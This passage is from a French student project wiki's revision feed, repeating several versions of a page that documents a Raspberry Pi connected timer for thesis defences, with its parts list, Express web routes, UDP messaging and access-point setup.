Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49392</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49392"/>
				<updated>2019-01-20T21:38:20Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Recherche d'un sujet et clarification du cahier des charges */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49391</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49391"/>
				<updated>2019-01-20T21:37:50Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Séance 1 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
